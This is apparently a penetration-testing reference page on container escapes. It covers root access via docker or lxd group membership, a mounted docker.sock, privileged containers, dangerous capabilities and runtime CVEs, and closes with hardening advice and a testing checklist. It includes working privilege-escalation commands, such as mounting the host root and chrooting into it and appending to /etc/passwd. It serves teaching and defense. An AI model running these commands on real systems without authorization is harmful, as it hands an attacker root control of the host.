Container and Docker Escapes
Containers (Docker, containerd, LXC) isolate processes, but that isolation is weaker than a VM’s: they share the host’s kernel. For an attacker there are two key scenarios: being in a host’s docker group (= trivial root on the host) or being inside a container and wanting to escape to the host. Both are very common escalation vectors, especially on development and CI/CD servers.
Scenario 1: being in the docker group (= root)
Section titled “Scenario 1: being in the docker group (= root)”If your user is in the docker group, you can launch containers with the host filesystem mounted → trivial root:
id # docker in the groups?# mount the host root in a container and chrootdocker run -v /:/mnt --rm -it alpine chroot /mnt sh# you're already root over the host filesystem; or:docker run -v /:/mnt --rm -it alpine sh -c 'echo "..." >> /mnt/etc/passwd'This isn’t an “escape”: the docker group equals root on the host by design. The same applies to lxd/lxc (mount the host disk in a privileged container).
Scenario 2: escaping from inside a container
Section titled “Scenario 2: escaping from inside a container”First, are you in a container and how confined?
# am I in a container?cat /proc/1/cgroup ; ls -la /.dockerenv# privileged? which capabilities/mounts do I have?capsh --print ; cat /proc/self/status | grep Capmount ; cat /proc/mountsPrivileged container (--privileged)
Section titled “Privileged container (--privileged)”A privileged container has almost all capabilities and access to the host’s devices → easy escape:
# mount the host disk (visible as /dev/sdaX) and read/writefdisk -l ; mount /dev/sda1 /mnt ; chroot /mnt# or abuse cgroups release_agent to execute on the hostExposed Docker socket
Section titled “Exposed Docker socket”If the Docker socket (/var/run/docker.sock) is mounted inside the container, you control the host daemon → equivalent to root on the host:
ls -la /var/run/docker.sock# with socket access, launch a container that mounts the host /docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shDangerous capabilities in the container
Section titled “Dangerous capabilities in the container”CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH inside the container open escape paths (e.g. abuse cgroups release_agent, or read the host filesystem).
Runtime CVEs
Section titled “Runtime CVEs”runC (CVE-2019-5736) overwrite the host's runc binary -> escapeCVE-2022-0492 cgroups v1 release_agent -> escapeDirty Pipe/COW if the kernel is vulnerable, escape via kernel (see lin-kernel)deepce.sh # enumerate and automate container escapesamicontained # which capabilities/seccomp/restrictions I havelinpeas (container mode)For the defense
Section titled “For the defense”- Don’t add users to the docker group without understanding it equals root; use scoped
sudoor rootless Docker. - No
--privilegedexcept in extreme need; don’t mountdocker.sockinside containers. - Drop capabilities (
--cap-drop ALLand add only the needed ones), seccomp/AppArmor by default, non-root user inside the container (USER). - Read-only rootfs, don’t mount sensitive host paths, user namespaces (remap root).
- Patch the runtime (runc) and kernel; scan images; least privilege in CI/CD.
Testing checklist
Section titled “Testing checklist”- Am I in the docker/lxd group? → trivial root on the host
- Am I in a container? (/.dockerenv, /proc/1/cgroup)
- Privileged? capabilities and mounts (capsh/amicontained)
- Is docker.sock mounted inside the container?
- Host disk accessible (/dev/sdaX) → mount/chroot
- Dangerous capabilities → release_agent/cgroups
- Runtime CVEs (runc CVE-2019-5736, CVE-2022-0492)
- Blue: cap-drop, seccomp, no privileged, no socket, rootless?